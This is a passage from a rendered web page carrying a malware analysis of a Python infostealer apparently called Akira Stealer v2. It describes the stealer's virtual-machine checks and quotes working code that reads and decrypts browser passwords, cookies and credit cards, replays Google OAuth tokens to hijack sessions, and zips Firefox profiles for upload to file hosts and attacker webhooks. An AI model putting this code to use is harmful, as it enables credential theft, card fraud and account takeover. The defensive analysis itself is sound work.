)\n",[1584,11479,11481],{"class":1586,"line":11480},60,[1584,11482,11004],{},[1584,11484,11486],{"class":1586,"line":11485},61,[1584,11487,11459],{},[1584,11489,11491],{"class":1586,"line":11490},62,[1584,11492,11493],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1584,11495,11497],{"class":1586,"line":11496},63,[1584,11498,11471],{},[1584,11500,11502],{"class":1586,"line":11501},64,[1584,11503,11477],{},[1584,11505,11507],{"class":1586,"line":11506},65,[1584,11508,11509],{},"    gpu = any(\n",[1584,11511,11513],{"class":1586,"line":11512},66,[1584,11514,11515],{},"        x.lower() in subprocess.run(\n",[1584,11517,11519],{"class":1586,"line":11518},67,[1584,11520,11521],{},"            \"wmic path win32_VideoController get name\",\n",[1584,11523,11525],{"class":1586,"line":11524},68,[1584,11526,11216],{},[1584,11528,11530],{"class":1586,"line":11529},69,[1584,11531,11532],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1584,11534,11536],{"class":1586,"line":11535},70,[1584,11537,11538],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1584,11540,11542],{"class":1586,"line":11541},71,[1584,11543,11477],{},[1584,11545,11547],{"class":1586,"line":11546},72,[1584,11548,11549],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1584,11551,11553],{"class":1586,"line":11552},73,[1584,11554,11555],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1584,11557,11559],{"class":1586,"line":11558},74,[1584,11560,9372],{"emptyLinePlaceholder":508},[1584,11562,11564],{"class":1586,"line":11563},75,[1584,11565,10498],{},[1584,11567,11569],{"class":1586,"line":11568},76,[1584,11570,11078],{},[1584,11572,11574],{"class":1586,"line":11573},77,[1584,11575,11576],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1584,11578,11580],{"class":1586,"line":11579},78,[1584,11581,11083],{},[1667,11583,11585],{"id":11584},"_7313-execution-abort-logic","7.3.13 Execution & Abort Logic",[806,11587,1673],{},[4349,11589,11590,11604,11617],{},[2736,11591,11592,11595,11596,11599,11600,11603],{},[1732,11593,11594],{},"Initialization:"," Within the ",[1546,11597,11598],{},"Akira.__init__()"," constructor, the malware immediately invokes ",[1546,11601,11602],{},"VmProtect.isVM(1)"," to perform quick, low-overhead virtualization checks (e.g., hostname, user, HTTPS simulation).",[2736,11605,11606,11609,11610,11613,11614,11616],{},[1732,11607,11608],{},"Deep Inspection:"," If the initial test passes, it calls ",[1546,11611,11612],{},"VmProtect.isVM(2)",", triggering more comprehensive checks, including hardware UUID validation, hosting detection via ",[1546,11615,10844],{},", and registry artifact scanning.",[2736,11618,11619,11622,11623,11625,11626,11628],{},[1732,11620,11621],{},"Abort Path:"," If any check returns ",[1546,11624,10185],{},", indicating a virtual or analysis environment, the code executes ",[1546,11627,10189],{},", terminating execution before any data collection or exfiltration routines.",[1667,11630,11632],{"id":11631},"_7314-conclusion","7.3.14 Conclusion",[806,11634,1673],{},[806,11636,1880,11637,11639,11640,11642],{},[1546,11638,10133],{}," module in ",[4653,11641,6214],{}," demonstrates a layered defense against analysis, leveraging both local system fingerprints and network-based heuristics. By understanding and instrumenting these precise checks, defenders can turn the tables and detect such evasive malware in operational environments.",[810,11644,11646],{"id":11645},"_74-browser-data-exfiltration","7.4 Browser Data Exfiltration",[806,11648,1531],{},[806,11650,11651,11652,835,11655,11658],{},"One of the core objectives of Akira Stealer v2 is the large-scale extraction of sensitive browser-stored data. The malware implements tailored modules to target both ",[1732,11653,11654],{},"Chromium-based",[1732,11656,11657],{},"Gecko-based (Firefox)"," browsers. Its capabilities include the extraction and decryption of saved passwords, cookies, credit card data, autofill entries, and even session tokens that can be repurposed for full account hijacking.",[806,11660,11661],{},[1732,11662,11663],{},"1. Workspace Setup",[1540,11665,11667],{"className":10008,"code":11666,"language":10010,"meta":863,"style":863},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[1546,11668,11669,11674,11679,11684],{"__ignoreMap":863},[1584,11670,11671],{"class":1586,"line":1587},[1584,11672,11673],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1584,11675,11676],{"class":1586,"line":864},[1584,11677,11678],{},"os.makedirs(client_dir, exist_ok=True)\n",[1584,11680,11681],{"class":1586,"line":1810},[1584,11682,11683],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1584,11685,11686],{"class":1586,"line":1827},[1584,11687,11688],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[2733,11690,11691,11698,11701,11704,11707],{},[2736,11692,11693,11694],{},"Creates a disposable staging area under the system temp directory, named after the victim’s machine (%TEMP%\\DESKTOP-",[11695,11696,11697],"hostname",{},"), ensuring all exfiltrated artifacts are consolidated in one easily archiveable location.",[2736,11699,11700],{},"Isolates data by type: six dedicated subfolders (Passwords, Cookies, CreditCards, History, Autofill, Wallets) prevent naming collisions and simplify later zipping—each extraction routine writes only into its own folder.",[2736,11702,11703],{},"Idempotent directory creation uses exist_ok=True so if the malware re-runs (e.g., on reboot or persistence), it won’t crash or overwrite existing data—new items simply append into the same structure.",[2736,11705,11706],{},"Facilitates selective cleanup: once upload and notification are complete, the stealer can call Utils.clear_client_folder() to recursively delete only its own workspace, leaving no residual files behind.",[2736,11708,11709],{},"Sets the stage for parallel extraction threads: by pre-creating all targets, background threads harvesting browser credentials, cookies, autofills, crypto-wallet data, etc., can immediately write results without additional checks, minimizing overhead and reducing the window for defensive hooks to detect unexpected file I/O.",[806,11711,11712],{},[1732,11713,11714],{},"2. Supported Browsers",[2733,11716,11717,11760],{},[2736,11718,11719,11722],{},[1732,11720,11721],{},"Chromium‑based",[2733,11723,11724,11727,11730,11733,11736,11739,11742,11745,11748,11751,11754,11757],{},[2736,11725,11726],{},"Google Chrome (Stable & SxS)",[2736,11728,11729],{},"Microsoft Edge",[2736,11731,11732],{},"Brave Browser",[2736,11734,11735],{},"Opera & Opera GX",[2736,11737,11738],{},"Chromium",[2736,11740,11741],{},"Comodo Dragon",[2736,11743,11744],{},"Epic Privacy Browser",[2736,11746,11747],{},"Iridium Browser",[2736,11749,11750],{},"UR Browser",[2736,11752,11753],{},"Vivaldi Browser",[2736,11755,11756],{},"Yandex Browser",[2736,11758,11759],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[2736,11761,11762,11765,11766,2767,11769,11780,11782,11783,11792,11794,11795,2285,11798,11801],{},[1732,11763,11764],{},"Firefox‑based"," (via ",[1546,11767,11768],{},"GeckoDriver",[2733,11770,11771,11774,11777],{},[2736,11772,11773],{},"Mozilla Firefox",[2736,11775,11776],{},"Waterfox",[2736,11778,11779],{},"Pale Moon",[2012,11781],{},"Akira dynamically locates user profiles using environment variables and well-known directory structures:",[1540,11784,11786],{"className":10008,"code":11785,"language":10010,"meta":863,"style":863},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[1546,11787,11788],{"__ignoreMap":863},[1584,11789,11790],{"class":1586,"line":1587},[1584,11791,11785],{},[2012,11793],{},"It recursively checks for available browser profiles (e.g. ",[1546,11796,11797],{},"Default",[1546,11799,11800],{},"Profile 1",", etc.) and targets SQLite databases within those paths.",[1667,11803,11805],{"id":11804},"_741-data-types-extracted","7.4.1 Data Types Extracted",[806,11807,1673],{},[1898,11809,1901,11810],{"style":10199},[1919,11811,11812,1901,11825,1901,11838,1901,11850,1901,11862,1901,11874,1901,11885],{},[1907,11813,1905,11814,1905,11818,1905,11822,1901],{},[1911,11815,11817],{"style":11816},"text-align: left; width: 22%;","Data Type",[1911,11819,11821],{"style":11820},"text-align: left; width: 28%;","Source File",[1911,11823,11824],{"style":10368},"Notes",[1907,11826,1905,11827,1905,11830,1905,11835,1901],{},[1924,11828,11829],{},"Saved Passwords",[1924,11831,11832,11834],{},[1546,11833,6129],{}," (Chromium)",[1924,11836,11837],{},"Decrypted via DPAPI or AES-GCM (post Chromium v80)",[1907,11839,1905,11840,1905,11843,1905,11847,1901],{"style":10224},[1924,11841,11842],{},"Cookies",[1924,11844,11845],{},[1546,11846,11842],{},[1924,11848,11849],{},"Can include session tokens, especially for Google/Facebook accounts",[1907,11851,1905,11852,1905,11855,1905,11859,1901],{},[1924,11853,11854],{},"Autofill Data",[1924,11856,11857],{},[1546,11858,6132],{},[1924,11860,11861],{},"Addresses, emails, phone numbers, etc.",[1907,11863,1905,11864,1905,11867,1905,11871,1901],{"style":10224},[1924,11865,11866],{},"Credit Cards",[1924,11868,11869],{},[1546,11870,6132],{},[1924,11872,11873],{},"Encrypted; requires master key",[1907,11875,1905,11876,1905,11879,1905,11882,1901],{},[1924,11877,11878],{},"Session Tokens",[1924,11880,11881],{},"In-memory & cookies",[1924,11883,11884],{},"Includes Gmail, Google accounts, and Discord OAUTH replay",[1907,11886,1905,11887,1905,11890,1905,11898,1901],{"style":10224},[1924,11888,11889],{},"History & URLs",[1924,11891,11892,2285,11895],{},[1546,11893,11894],{},"History",[1546,11896,11897],{},"Visited Links",[1924,11899,11900],{},"Were also exfiltrated to the attacker",[1536,11902],{"className":11903},[6385,6386],[806,11905,11906,11909],{},[1732,11907,11908],{},"3. Extraction Modules","\nWhen malware authors target browsers, their primary treasure troves are the various SQLite databases where Chrome, Firefox, and their kin store credentials, cookies, history, and autofill entries. astor.py stitches together lightweight Python and native APIs to methodically pluck every piece of data—and even replay live OAuth sessions—without leaving a trace. Below is an in-depth, module-by-module tour, verbatim from the code.",[1667,11911,11913,11914,2767],{"id":11912},"_742-password-dumper-chromiumgetpasswords","7.4.2 Password Dumper (",[1546,11915,11916],{},"Chromium.GetPasswords",[806,11918,1673],{},[806,11920,11921],{},"This module systematically searches through all Chromium-based browser profiles to extract saved login credentials. By targeting the Login Data SQLite database, it retrieves usernames and encrypted passwords, then uses the platform’s encryption key (retrieved via DPAPI or AES-GCM) to decrypt them into cleartext. These credentials are highly valuable for post-compromise pivoting or account takeover.",[1540,11923,11925],{"className":10008,"code":11924,"language":10010,"meta":863,"style":863},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[1546,11926,11927,11932,11937,11942,11947,11952,11957,11962,11967,11972],{"__ignoreMap":863},[1584,11928,11929],{"class":1586,"line":1587},[1584,11930,11931],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1584,11933,11934],{"class":1586,"line":864},[1584,11935,11936],{},"    for file in files:\n",[1584,11938,11939],{"class":1586,"line":1810},[1584,11940,11941],{},"        if file.lower() == \"login data\":\n",[1584,11943,11944],{"class":1586,"line":1827},[1584,11945,11946],{},"            # Copy DB → open → extract rows\n",[1584,11948,11949],{"class":1586,"line":2131},[1584,11950,11951],{},"            results = cursor.execute(\n",[1584,11953,11954],{"class":1586,"line":2137},[1584,11955,11956],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1584,11958,11959],{"class":1586,"line":2143},[1584,11960,11961],{},"            ).fetchall()\n",[1584,11963,11964],{"class":1586,"line":2149},[1584,11965,11966],{},"            for url, user, pwd_blob in results:\n",[1584,11968,11969],{"class":1586,"line":2155},[1584,11970,11971],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1584,11973,11974],{"class":1586,"line":2161},[1584,11975,11976],{},"                passwords.append((url, user, clear_pwd))\n",[2733,11978,11979,11992,11998,12006,12023],{},[2736,11980,11981,11984,11985,11987,11988,11991],{},[1732,11982,11983],{},"Locates"," every ",[1546,11986,6129],{}," SQLite database under the browser’s ",[1546,11989,11990],{},"User Data"," folder.",[2736,11993,11994,11997],{},[1732,11995,11996],{},"Copies"," to a temp file to avoid browser locks.",[2736,11999,12000,2540,12003,2491],{},[1732,12001,12002],{},"SQL Query",[1546,12004,12005],{},"SELECT origin_url, username_value, password_value FROM logins",[2736,12007,12008,12011,12012,12015,12016,2783,12019,12022],{},[1732,12009,12010],{},"Decrypts"," each ",[1546,12013,12014],{},"password_value"," blob via AES‑GCM (",[1546,12017,12018],{},"v10",[1546,12020,12021],{},"v11",") or Windows DPAPI fallback.",[2736,12024,12025,12028,12029,2491],{},[1732,12026,12027],{},"Writes"," output to ",[1546,12030,12031],{},"Passwords/\u003CBrowserName> Passwords.txt",[1667,12033,12035,12036,2767],{"id":12034},"_743-credit-card-dumper-chromiumgetcreditcards","7.4.3 Credit Card Dumper (",[1546,12037,12038],{},"Chromium.GetCreditCards",[806,12040,1673],{},[806,12042,12043],{},"Here, the stealer accesses stored credit card data from each browser profile’s Web Data file. It focuses on extracting expiration details and encrypted credit card numbers, which are then decrypted with the same logic as passwords. Although CVV codes are typically not stored, the recovered information can still be misused for card-not-present fraud.",[1540,12045,12047],{"className":10008,"code":12046,"language":10010,"meta":863,"style":863},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[1546,12048,12049,12054,12059,12064,12069,12074],{"__ignoreMap":863},[1584,12050,12051],{"class":1586,"line":1587},[1584,12052,12053],{},"results = cursor.execute(\n",[1584,12055,12056],{"class":1586,"line":864},[1584,12057,12058],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1584,12060,12061],{"class":1586,"line":1810},[1584,12062,12063],{},").fetchall()\n",[1584,12065,12066],{"class":1586,"line":1827},[1584,12067,12068],{},"for month, year, enc_cc in results:\n",[1584,12070,12071],{"class":1586,"line":2131},[1584,12072,12073],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1584,12075,12076],{"class":1586,"line":2137},[1584,12077,12078],{},"    ccs.append((cc_number, month, year))\n",[2733,12080,12081,12090,12097,12105],{},[2736,12082,12083,12086,12087,12089],{},[1732,12084,12085],{},"Targets"," the ",[1546,12088,6132],{}," SQLite stores under each profile.",[2736,12091,12092,2540,12094,2491],{},[1732,12093,12002],{},[1546,12095,12096],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[2736,12098,12099,2021,12101,12104],{},[1732,12100,12010],{},[1546,12102,12103],{},"card_number_encrypted"," exactly like the password blobs.",[2736,12106,12107,12110,12111,2491],{},[1732,12108,12109],{},"Outputs"," to ",[1546,12112,12113],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[1667,12115,12117,12118,2767],{"id":12116},"_744-cookie-dumper-chromiumgetcookies","7.4.4 Cookie Dumper (",[1546,12119,12120],{},"Chromium.GetCookies",[806,12122,1673],{},[806,12124,12125],{},"Cookies, especially session cookies, are prime targets for account hijacking without passwords. This module dumps all cookie files across profiles, decrypts them, and collects essential metadata like domain, name, and expiration. Combined with fingerprinting, these cookies can enable seamless replay attacks on authenticated services.",[1540,12127,12129],{"className":10008,"code":12128,"language":10010,"meta":863,"style":863},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[1546,12130,12131,12135,12140,12144,12149,12154],{"__ignoreMap":863},[1584,12132,12133],{"class":1586,"line":1587},[1584,12134,12053],{},[1584,12136,12137],{"class":1586,"line":864},[1584,12138,12139],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1584,12141,12142],{"class":1586,"line":1810},[1584,12143,12063],{},[1584,12145,12146],{"class":1586,"line":1827},[1584,12147,12148],{},"for host, name, path, blob, expiry in results:\n",[1584,12150,12151],{"class":1586,"line":2131},[1584,12152,12153],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1584,12155,12156],{"class":1586,"line":2137},[1584,12157,12158],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[2733,12160,12161,12169,12177,12185],{},[2736,12162,12163,11984,12166,12168],{},[1732,12164,12165],{},"Scans",[1546,12167,11842],{}," SQLite database.",[2736,12170,12171,2021,12174,2491],{},[1732,12172,12173],{},"Selects",[1546,12175,12176],{},"host_key, name, path, encrypted_value, expires_utc",[2736,12178,12179,12011,12181,12184],{},[1732,12180,12010],{},[1546,12182,12183],{},"encrypted_value"," blob to reveal the actual cookie string.",[2736,12186,12187,12190,12191,2491],{},[1732,12188,12189],{},"Saves"," into ",[1546,12192,12193],{},"Cookies/\u003CBrowserName> Cookies.txt",[1667,12195,12197,12198,2767],{"id":12196},"_745-google-session-dumper-chromiumdump_google_sessions","7.4.5 Google Session Dumper (",[1546,12199,12200],{},"Chromium.dump_google_sessions",[806,12202,1673],{},[806,12204,12205],{},"One of the more advanced components, this routine decrypts stored OAuth tokens from the token_service table. By replaying them via Google’s multilogin endpoint, the malware can regenerate active session cookies—allowing attackers to hijack Google accounts without credentials. This illustrates how access tokens have become prime targets in modern stealers.",[1540,12207,12209],{"className":10008,"code":12208,"language":10010,"meta":863,"style":863},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[1546,12210,12211,12216,12221,12226,12231,12236,12241,12246,12251,12256,12261,12266,12270],{"__ignoreMap":863},[1584,12212,12213],{"class":1586,"line":1587},[1584,12214,12215],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1584,12217,12218],{"class":1586,"line":864},[1584,12219,12220],{},"for service, blob in cursor.fetchall():\n",[1584,12222,12223],{"class":1586,"line":1810},[1584,12224,12225],{},"    iv = blob[3:15]\n",[1584,12227,12228],{"class":1586,"line":1827},[1584,12229,12230],{},"    ciphertext = blob[15:-16]\n",[1584,12232,12233],{"class":1586,"line":2131},[1584,12234,12235],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1584,12237,12238],{"class":1586,"line":2137},[1584,12239,12240],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1584,12242,12243],{"class":1586,"line":2143},[1584,12244,12245],{},"    # Replays via POST to OAuth endpoint\n",[1584,12247,12248],{"class":1586,"line":2149},[1584,12249,12250],{},"    response = requests.post(\n",[1584,12252,12253],{"class":1586,"line":2155},[1584,12254,12255],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1584,12257,12258],{"class":1586,"line":2161},[1584,12259,12260],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1584,12262,12263],{"class":1586,"line":10546},[1584,12264,12265],{},"        data={\"source\": \"com.google.Drive\"}\n",[1584,12267,12268],{"class":1586,"line":10552},[1584,12269,11477],{},[1584,12271,12272],{"class":1586,"line":10558},[1584,12273,12274],{},"    save each account’s cookies to file\n",[2733,12276,12277,12293,12303,12313],{},[2736,12278,12279,2021,12282,12285,12286,12289,12290,12292],{},[1732,12280,12281],{},"Fetches",[1546,12283,12284],{},"service"," and raw ",[1546,12287,12288],{},"encrypted_token"," from ",[1546,12291,6132],{}," clone.",[2736,12294,12295,12298,12299,12302],{},[1732,12296,12297],{},"AES‑GCM decryption"," using the browser’s ",[1546,12300,12301],{},"Local State"," key.",[2736,12304,12305,12308,12309,12312],{},[1732,12306,12307],{},"Replays"," decrypted tokens in a POST to Google’s ",[1546,12310,12311],{},"multilogin"," API to reconstruct valid OAuth cookies.",[2736,12314,12315,12317,12318,2491],{},[1732,12316,12027],{}," per-account session files under ",[1546,12319,12320],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[1667,12322,12324,12325,2767],{"id":12323},"_746-history-dumper-chromiumgethistory","7.4.6 History Dumper (",[1546,12326,12327],{},"Chromium.GetHistory",[806,12329,1673],{},[806,12331,12332],{},"This function extracts browsing history entries including URL, title, and visit frequency. Beyond privacy invasion, this data helps attackers understand victim behavior, identify high-value targets (e.g., banking portals), or tailor social engineering payloads.",[1540,12334,12336],{"className":10008,"code":12335,"language":10010,"meta":863,"style":863},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[1546,12337,12338,12342,12347,12351,12356],{"__ignoreMap":863},[1584,12339,12340],{"class":1586,"line":1587},[1584,12341,12053],{},[1584,12343,12344],{"class":1586,"line":864},[1584,12345,12346],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1584,12348,12349],{"class":1586,"line":1810},[1584,12350,12063],{},[1584,12352,12353],{"class":1586,"line":1827},[1584,12354,12355],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1584,12357,12358],{"class":1586,"line":2131},[1584,12359,12360],{},"return [(url, title, count) for url, title, count, _ in history]\n",[2733,12362,12363,12374,12384],{},[2736,12364,12365,2021,12367,12370,12371,12373],{},[1732,12366,12173],{},[1546,12368,12369],{},"url, title, visit_count, last_visit_time"," from every ",[1546,12372,11894],{}," DB.",[2736,12375,12376,12379,12380,12383],{},[1732,12377,12378],{},"Sorts"," entries by ",[1546,12381,12382],{},"last_visit_time"," descending.",[2736,12385,12386,2021,12388,2491],{},[1732,12387,12109],{},[1546,12389,12390],{},"History/\u003CBrowserName> History.txt",[1667,12392,12394,12395,2767],{"id":12393},"_747-autofill-dumper-chromiumgetautofills","7.4.7 Autofill Dumper (",[1546,12396,12397],{},"Chromium.GetAutofills",[806,12399,1673],{},[806,12401,12402],{},"Autofill entries—like addresses, names, emails, and sometimes payment-related data—are scraped from the browser’s Web Data storage. These values may not seem critical, but when aggregated, they offer a rich profile of the victim’s identity and behavior.",[1540,12404,12406],{"className":10008,"code":12405,"language":10010,"meta":863,"style":863},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[1546,12407,12408,12412,12417,12421,12426],{"__ignoreMap":863},[1584,12409,12410],{"class":1586,"line":1587},[1584,12411,12053],{},[1584,12413,12414],{"class":1586,"line":864},[1584,12415,12416],{},"    \"SELECT name, value FROM autofill\"\n",[1584,12418,12419],{"class":1586,"line":1810},[1584,12420,12063],{},[1584,12422,12423],{"class":1586,"line":1827},[1584,12424,12425],{},"for field, value in results:\n",[1584,12427,12428],{"class":1586,"line":2131},[1584,12429,12430],{},"    autofills.append((field.strip(), value.strip()))\n",[2733,12432,12433,12446],{},[2736,12434,12435,12437,12438,12441,12442,12445],{},[1732,12436,12281],{}," form-fill entries: ",[1546,12439,12440],{},"name, value"," from the ",[1546,12443,12444],{},"web data"," file.",[2736,12447,12448,12450,12451,2491],{},[1732,12449,12027],{}," out as ",[1546,12452,12453],{},"Autofill/\u003CBrowserName> Autofill.txt",[1667,12455,12457,12458,12460,12461,2767],{"id":12456},"_748-firefox-profile-grabber-geckodriver-grabfirefoxprofiles","7.4.8 Firefox Profile Grabber (",[1546,12459,11768],{}," & ",[1546,12462,12463],{},"grabFirefoxProfiles",[806,12465,1673],{},[806,12467,12468],{},"Unlike the granular Chromium routines, this function opts for a broad approach: it compresses the entire Firefox profile directory—including saved logins, cookies, and bookmarks—and exfiltrates it wholesale. This ensures attackers can analyze or extract data offline, bypassing decryption hurdles with known NSS tooling.",[1540,12470,12472],{"className":10008,"code":12471,"language":10010,"meta":863,"style":863},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[1546,12473,12474,12479,12484,12489],{"__ignoreMap":863},[1584,12475,12476],{"class":1586,"line":1587},[1584,12477,12478],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1584,12480,12481],{"class":1586,"line":864},[1584,12482,12483],{},"    for root, dirs, files in os.walk(source_path):\n",[1584,12485,12486],{"class":1586,"line":1810},[1584,12487,12488],{},"        zipf.write(each file)\n",[1584,12490,12491],{"class":1586,"line":1827},[1584,12492,12493],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[2733,12495,12496,12506,12516],{},[2736,12497,12498,12501,12502,12505],{},[1732,12499,12500],{},"Zips"," the entire ",[1546,12503,12504],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles"," directory.",[2736,12507,12508,12511,12512,12515],{},[1732,12509,12510],{},"Names"," it ",[1546,12513,12514],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," and sends the download link over the same webhook channels.",[2736,12517,12518,12521,12522,2285,12525,2285,12528,12531],{},[1732,12519,12520],{},"Also"," invokes the same SQLite-based extraction functions (",[1546,12523,12524],{},"logins.json",[1546,12526,12527],{},"cookies.sqlite",[1546,12529,12530],{},"places.sqlite",") against each Firefox profile using the NSS decryption routines already present.",[1667,12533,12535],{"id":12534},"_749-extraction-summary","7.4.9 Extraction Summary",[806,12537,1673],{},[806,12539,12540,12541,2285,12543,2285,12545,2285,12547,7718,12549,12552,12553,12556,12557,12559,12560,2285,12562,7718,12564,12566,12567,12570],{},"Astor.py orchestrates a comprehensive browser compromise by systematically harvesting every credential and session artifact across Chromium-based and Firefox clients. It locates and safely copies each SQLite store—",[1546,12542,6129],{},[1546,12544,6132],{},[1546,12546,11842],{},[1546,12548,11894],{},[1546,12550,12551],{},"autofill","—then runs targeted SQL queries to extract URLs, usernames, passwords, credit-card details, cookies, browsing history, and form-fill entries. Passwords and payment data are decrypted via AES-GCM (or Windows DPAPI fallback), while cookies are similarly unwrapped to reveal their plaintext values. For Google accounts, encrypted OAuth tokens from ",[1546,12554,12555],{},"token_service"," are decrypted and replayed against the ",[1546,12558,12311],{}," API to regenerate live session cookies. Finally, Firefox profiles are archived wholesale (including ",[1546,12561,12524],{},[1546,12563,12527],{},[1546,12565,12530],{},") and delivered as ZIPs, ensuring no artifact is left behind. This end-to-end pipeline runs silently under ",[1546,12568,12569],{},"%TEMP%\\\u003CComputerName>",", producing neatly organized output files for every data category.",[810,12572,12574],{"id":12573},"_75-decryption-logic","7.5 Decryption Logic",[806,12576,1531],{},[806,12578,12579],{},"Modern browsers like Chrome and Edge encrypt sensitive data—such as passwords, cookies, and credit card details—before storing them locally. Akira includes built-in decryption routines tailored to handle both legacy and current Chromium encryption methods. This ensures it can extract cleartext data regardless of the system's patch level or browser version.",[806,12581,12582],{},"At the core of this process is the extraction and decryption of the browser’s master encryption key, stored in a file called Local State. Depending on the browser version and Windows build, Akira dynamically selects the appropriate decryption method:",[806,12584,12585],{},"DPAPI (Data Protection API) is used on older systems, where Chrome stores secrets protected by the current user's Windows credentials.",[806,12587,12588],{},"AES-GCM is used on modern Chromium builds, where a randomly generated master key is itself encrypted with DPAPI, then used for in-app encryption of user data.",[806,12590,12591],{},"By first decrypting the Local State master key, Akira gains the ability to unlock all browser secrets—paving the way for extracting credentials, tokens, cookies, and more.",[806,12593,12594],{},[1732,12595,12596],{},"Key extraction",[1540,12598,12600],{"className":10008,"code":12599,"language":10010,"meta":863,"style":863},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[1546,12601,12602,12607,12612,12617],{"__ignoreMap":863},[1584,12603,12604],{"class":1586,"line":1587},[1584,12605,12606],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1584,12608,12609],{"class":1586,"line":864},[1584,12610,12611],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1584,12613,12614],{"class":1586,"line":1810},[1584,12615,12616],{},"    local_state = json.load(f)\n",[1584,12618,12619],{"class":1586,"line":1827},[1584,12620,12621],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[806,12623,12624],{},[1732,12625,12626],{},"Decryption (AES-GCM):",[1540,12628,12630],{"className":10008,"code":12629,"language":10010,"meta":863,"style":863},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[1546,12631,12632,12637,12642,12647,12652],{"__ignoreMap":863},[1584,12633,12634],{"class":1586,"line":1587},[1584,12635,12636],{},"nonce = value[3:15]\n",[1584,12638,12639],{"class":1586,"line":864},[1584,12640,12641],{},"ciphertext = value[15:-16]\n",[1584,12643,12644],{"class":1586,"line":1810},[1584,12645,12646],{},"tag = value[-16:]\n",[1584,12648,12649],{"class":1586,"line":1827},[1584,12650,12651],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1584,12653,12654],{"class":1586,"line":2131},[1584,12655,12656],{},"decrypted = cipher.decrypt_and_verify(ciphertext, 